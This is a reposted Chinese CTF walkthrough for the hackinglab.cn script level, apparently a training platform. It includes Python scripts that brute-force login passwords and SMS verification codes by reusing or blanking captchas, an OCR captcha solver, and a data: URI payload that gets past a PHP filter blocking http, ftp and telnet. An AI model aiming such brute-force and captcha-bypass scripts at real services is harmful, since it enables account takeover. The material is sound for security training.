前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >网络安全实验室平台(脚本关)

网络安全实验室平台(脚本关)

作者头像
网络安全自修室
修改于 2023-09-23 06:15:18
修改于 2023-09-23 06:15:18
1.5K00
代码可运行
举报
运行总次数:0
代码可运行

看到了一个好玩的平台————网络安全实验室,看起来对新手还是有帮助的,如果你有编程基础也可以看看脚本关哦!

平台地址:http://hackinglab.cn/ShowQues.php?type=bases

用到的编程语言:python

建议先自行闯关,再参考以下攻略,才有所提高哦!

第一题

  • key又又找不到了 分值: 200

小明这次哭了,key又找不到了!!!key啊,你究竟藏到了哪里,为什么我看到的页面上都没有啊!!!!!![地址]:(http://lab1.xseclab.com/xss1_30ac8668cd453e7e387c76b132b140bb/index.php)

思路:抓包看是否有重定向

第二题

  • 快速口算 分值: 350

小明要参加一个高技能比赛,要求每个人都要能够快速口算四则运算,2秒钟之内就能够得到结果,但是小明就是一个小学生没有经过特殊的培训,那小明能否通过快速口算测验呢?

在线:http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php

思路:写脚本抓取页面算式,再将答案提交到输入框运用到自动交互模块selenium代码如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import requests
import re
from selenium import webdriver

dirver=webdriver.Firefox()
url="http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php"
dirver.get(url)
#res=requests.get(url).content.decode('utf-8')
res=dirver.page_source
num=re.findall('(.*?)=<input name="v" type="text"',res)
result=eval(num[0].strip())
#data={'v':result}
#res=requests.post(url,data=data).content.decode('utf-8')
dirver.find_element_by_xpath("html/body/form/input[1]").send_keys(result)  # 搜索输入框输入Selenium
dirver.find_element_by_xpath("html/body/form/input[2]").click()  #点击百度一下按钮
res=dirver.page_source
print(res)

第三题

这个题目是空的 分值: 100 Tips:这个题目真不是随便设置的。什么才是空的呢?通关地址:没有,请直接提交答案(小写即可)

思路:空?还要小写?null试试,果然!

第四题:

怎么就是不弹出key呢?分值: 150 提交说明:提交前14个字符即可过关 [地址]:(http://lab1.xseclab.com/xss3_5dcdde90bbe55087eb3514405972b1a6/index.php)

思路:点击没反应,看源代码

__思路:js代码,a伪变量,将源码复制下来,去掉前面几个函数试试 步骤:将前面几个函数去掉,保存为html格式,用浏览器打开试试

(\注意要加\n才方便看前14字符)

  • 轻松拿到key:

图片.png

第五题:

逗比验证码第一期 分值: 100 逗比的验证码,有没有难道不一样吗?[地址]:(http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php) 思路:

  1. 看验证码是否可以重复使用
  2. 可用burpsuit爆破或者保持会话脚本访问
  3. 测试验证码,发现同一个验证码可以重复登录,即验证码不刷新,直接写脚本
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import requests
import re
s=requests.Session()
url="http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php"
head={'cookie':'PHPSESSID=844e5142519e671ce9180b9a47588675'}
for num in range(1000,10000):
    data={'username':'admin','pwd':num,'vcode':'GNQK','submit':'submit'}
    res=s.post(url,data=data,headers=head).content.decode('utf-8')
    if u'pwd error' in res:
        print('正在尝试',num,'-----密码错误!')
    if u'vcode error' in res:
        print('验证码错误,请重新查看并输入正确验证码!')
    # print(res)
    if u'error' not in res:
        print(num,'-------正确')
        print(res)
        break

得到密码为 1238

第六题:

逗比验证码第二期 分值: 150 验证便失效的验证码 [地址]:(http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php)

思路:将验证码参数变为’’

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import requests
import re
s=requests.Session()
url="http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php"
head={'cookie':'PHPSESSID=844e5142519e671ce9180b9a47588675'}
for num in range(1000,10000):
    data={'username':'admin','pwd':num,'vcode':'','submit':'submit'}
    res=s.post(url,data=data,headers=head).content.decode('utf-8')
    if u'pwd error' in res:
        print('正在尝试',num,'-----密码错误!')
    if u'vcode error' in res:
        print('验证码错误,请重新查看并输入正确验证码!')
    # print(res)
    if u'error' not in res:
        print(num,'-------正确')
        print(res)
        break

得到密码为1228

第七题

逗比的验证码第三期(SESSION) 分值: 150 尼玛,验证码怎么可以这样逗比。验证码做成这样,你家里人知道吗?[地址]:(http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php)

思路:发现这关和上一关没多大区别,是提示要保持session?前一关貌似也是那样做的呀套用上一关脚本,直接出答案.....1298 -------正确 key is LJLJLfuckvcodesdf#@sd

第八题:

微笑一下就能过关了 分值: 150 尼玛,碰到这样的题我能笑得出来嘛... [地址]:(http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php)思路:看到题目有点懵,难道要刷脸吗?看下源代码先

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php  
    header("Content-type: text/html; charset=utf-8");
    if (isset($_GET['view-source'])) { 
        show_source(__FILE__); 
        exit(); 
    } 
    include('flag.php'); 
    $smile = 1;  
   if (!isset ($_GET['^_^'])) $smile = 0;  
    if (preg_match ('/\./', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/%/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/[0-9]/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/http/', $_GET['^_^']) ) $smile = 0;  
    if (preg_match ('/https/', $_GET['^_^']) ) $smile = 0;  
    if (preg_match ('/ftp/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/telnet/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/_/', $_SERVER['QUERY_STRING'])) $smile = 0; 
    if ($smile) { 
        if (@file_exists ($_GET['^_^'])) $smile = 0;  
    }  
    if ($smile) { 
        $smile = @file_get_contents ($_GET['^_^']);  
        if ($smile === "(●'◡'●)") die($flag);  
    }  
?>
  1. 原来是带有笑脸的get参数。。。。,找找度娘
  2. 从源码中可以发现屏蔽了ftp和http协议且要是文件,通过php手册或者度娘可以用 Data协议,所以可以构造http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php? ^.^=data:text/html;charset=unicode,(●’◡’●)
  3. 一定要记住对微笑进行转码,我就在这里卡了半天,到最后发现是没有转码,郁闷!!所以转码可得payload:http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?^.^=data:text/html;charset=unicode,%28%E2%97%8F%27%E2%97%A1%27%E2%97%8F%29

第九题:

逗比的手机验证码 分值: 150 你的手机号码是13388886666,验证码将会以弹窗的形式给出 [地址]:(http://lab1.xseclab.com/vcode5_mobi_5773f3def9f77f439e058894cefc42a8/)

  • 步骤:获取手机号码验证码后换号码登录

轻松拿到key

第十题:

基情燃烧的岁月 分值: 150 Tips:你是一名黑客,你怀疑你的“(男/女)闺蜜”的出轨了,你要登陆TA手机的网上营业厅查看详单,一探究竟!闺蜜手机号码:13388886666 [地址]:(http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/)

思路:获取验证码

看来又得写脚本便利了,验证码肯定为100-999 用之前通关代码稍微修改下,变废为宝

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import requests
import re
s=requests.Session()
url="http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/login.php"
head={'cookie':'PHPSESSID=844e5142519e671ce9180b9a47588675'}
for num in range(100,1000):
    data={'username':'13399999999','vcode':num,'Login':'submit'}
    res=s.post(url,data=data,headers=head).content.decode('utf-8')
    print(res)
    if u'pwd error' in res:
        print('正在尝试',num,'-----密码错误!')
    if u'vcode error' in res:
        print('验证码错误,请重新查看并输入正确验证码!')
    # print(res)
    if u'error' not in res:
        print(num,'-------正确')
        print(res)
        break

167 -------正确 你伤心的发现他/她正在跟你的前男/女友勾搭.....于是下决心看看前任除了跟你的(男/女)闺蜜勾搭,是不是还跟别的勾搭.. 前任的手机号码是:13399999999 找到前任了,再把这个手机号码替换到代码中去爆破:

第十一题:

验证码识别 分值: 350 验证码识别 Tips:验证码依然是3位数 [地址]:(http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/index.php)

需要安装tesseract-ocr模块,通过tesseract来识别验证码,代码如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2017-09-16 14:41:09
# @Word    : python can change world!
# @Version : python3.6

import requests
import re
import pytesseract
from PIL import Image
import urllib.request
import sys

s=requests.Session()
url="http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php"
head={'cookie':'PHPSESSID=844e5142519e671ce9180b9a47588675'}

def main():
    num=100
    while num<1000:
        code=get_code()
        get_url(num, code)
        num+=1

def get_code():
    urllib.request.urlretrieve('http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php','1.png')
    code=pytesseract.image_to_string(Image.open('1.png'))
    code=code.replace(' ','')
    #print(code)
    try:
        if len(code)==4:
        
            print('验证码是',code)
            return code
            #print(code)
        else:
            print("重新获取验证码!")
            get_code()

    except UnicodeEncodeError:
        pass
        

def get_url(num,code):
    data={'username':'13388886666','mobi_code':num,'user_code':code,'Login':'submit'}
    res=s.post(url,data=data,headers=head).content.decode('utf-8')

    if u'error' not in res:

        print(res,'密码是',num)
        sys.exit()
    else:
        print(res,'密码是',num,'---错误')
        #print("正在尝试...")


if __name__ == '__main__':
    main()

个人偏喜欢做脚本关,能有一种写作业的充实感,不过题目也偏简单,其中验证码识别并不是真正的验证码识别,与实战有些差别,总之通关了脚本关相信会和我一样收获了很多,总结消化后,再战下一关!欢迎志同道合的小伙伴沟通交流学习哦!

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-07-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全自修室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
网络安全实验室平台(基础关)
看到了一个好玩的平台————网络安全实验室,看起来对新手还是有帮助的,从基础开始练练手吧!地址:http://hackinglab.cn/ShowQues.php?type=bases 用到的工具:b
网络安全自修室
2020/07/28
1.8K0
网络安全实验室平台(基础关)
php-网络安全实验室脚本关快速口算题
浏览量 1 <?php header("content-type:text/html;charset=utf8;"); $url="http://lab1.xseclab.com/xss2_0d55
kdyonly
2023/03/03
2800
网络安全实验室(基础关) writeup~上
因为参加了一个比赛(网鼎杯),所以要快速入门一下信息安全,没想到赛制是线上采用 CTF 的赛制,所以就找了点题目做了一下。
伪君子
2018/09/14
3.5K0
网络安全实验室(基础关) writeup~上
小明学习代码审计writeup
根据链接的复制访问resetpwd.php,并查看网页源码,发现注释中有PHP代码:
KevinBruce
2020/03/12
5130
CTF| SQL注入之获取数据类
上周发了一篇 SQL注入登录类的题型文章分析,这种题目一般是绕过登录限制。常规的SQL注入题需要我们一步步注入出数据,大部分题目需要我们有一定代码审计的能力,分析出代码存在的注入漏洞才能获得flag。 简单的注入题目 简单的sql注入题目就和你在sqli平台上练习的一样,按照sql的基本注入方式一步步下来,就一定能够获得falg。 题目入口: http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php 题目来源:ha
漏斗社区
2018/03/28
1.7K0
CTF| SQL注入之获取数据类
sangebaimao之招聘又开始了,你怕了吗?
招聘又开始了,又要被火日师傅虐了,运气不错,赶在考试期间还把题目做出来了,遇到了特别神秘的参数污染,还是ll大法无敌…
LoRexxar
2023/02/21
2730
sangebaimao之招聘又开始了,你怕了吗?
网络安全实验室(基础关) writeup~下
前言 题目都来自这里:http://hackinglab.cn/ShowQues.php?type=bases 上一篇文章请看这里,还别说,我真的就只拿到了签到题的分 7.network key究竟在
伪君子
2018/09/14
8680
网络安全实验室(基础关) writeup~下
[HFCTF 2021 Final] | BUU
可见这是一个Flasksession伪造的题目, 只要我们知道了SECRET_KEY就可以任意伪造秘钥让session等于{‘u’:{‘b’:’pickle.loads数据’}}
h0cksr
2023/05/17
5420
[HFCTF 2021 Final] | BUU
Sqli_labs65关通关详解(上)
Less-1 这个题目是基于错误,单引号,字符型注入, http://127.0.0.1/sqli/Less-1/?id=1' //报错 http://127.0.0.1/sqli/Less-
安恒网络空间安全讲武堂
2018/02/06
1.8K0
Sqli_labs65关通关详解(上)
[Python] 豆瓣自动回帖、顶帖源码
https://github.com/1061700625/auto_douban
小锋学长生活大爆炸
2020/08/13
1.1K0
Sqli_labs65关通关详解(下)
less-31 逻辑跟30关一样,只不过 $id = '"' .$id. '"'; $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1"; 闭合的情况
安恒网络空间安全讲武堂
2018/02/06
1.5K0
Sqli_labs65关通关详解(下)
T-Star高校挑战赛WP
根据提示,cookie 注入,抓包发现用户名字段被 base64 加密,故直接保存到1.txt
p4nda
2023/01/03
2240
T-Star高校挑战赛WP
贵阳大数据及网络安全精英对抗赛-解题赛 WP
这网站打开一直重定向,使用request库指定allow_redirects=False或者使用httpx库都可以成功访问
yulate
2023/05/09
1.4K0
贵阳大数据及网络安全精英对抗赛-解题赛 WP
强网'拟态'4道web题
4字符命令执行也限制很多,只能想办法污染 Object 。这里我当时还是对原型链污染了解的太少了,后面才了解道可以用 constructor 和 prototype 来绕过限制。
pankas
2022/11/16
4680
强网'拟态'4道web题
实验吧“一道超级简单的登陆题”
刚背完科一,脑袋还是晕乎乎的,开始码文,希望各位读者大大,不要骂我,我还是遵守承诺一天一更,用的实验吧
天钧
2019/07/28
1.3K0
BJD WEB
我们可以将POST提交的username后面的单引号转义一下,通过转义使得其和password前面的单引号闭合,将passwod后面的逃逸出来。
ly0n
2020/11/04
4490
BJD WEB
信息安全国赛技能赛 Writeup
周末在北京wooyun峰会的旅途上打了一场大学生信息安全的国赛的技能赛,本以为能进的决赛,却因为人手不够再加上个人水平太差错过了,虽然i春秋的平台一股浓浓的国产页游风,但不得不说,题目的质量确实不算差,稍微整理下wp…
LoRexxar
2023/02/21
4890
Python模块-Requests学习与CTF和AWD实战
为什么学习Requests模块呢,因为最近老是遇见它,自己又不太懂,加之在很多Web的poc里面Requests模块的出镜率很高,于是特此学习记录之。
小简
2022/12/28
2.1K0
Python模块-Requests学习与CTF和AWD实战
程序员面试必备PHP基础面试题 – 第十四天
一、设已知目录/data1/somedir, 写一个函数, 遍历取得该目录下包含子目录所在后缀为txt的文件.
PHP学习网
2022/08/03
3560
L-ctf2016 Writeup
在大家都为祖国母亲庆生的时候,天天都有人问我:你干嘛呢?出来玩呀….我表示(╯‵□′)╯︵┻━┻,稍微有点儿遗憾的是又刚好错过了小礼物的边缘线,做了2道高分web题还挺开心的o(^▽^)┛,不过xd的服务器也是蛮厉害…题题都要爆破还没怎么崩过…强无敌…
LoRexxar
2023/02/21
4280
L-ctf2016 Writeup
相关推荐
网络安全实验室平台(基础关)
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验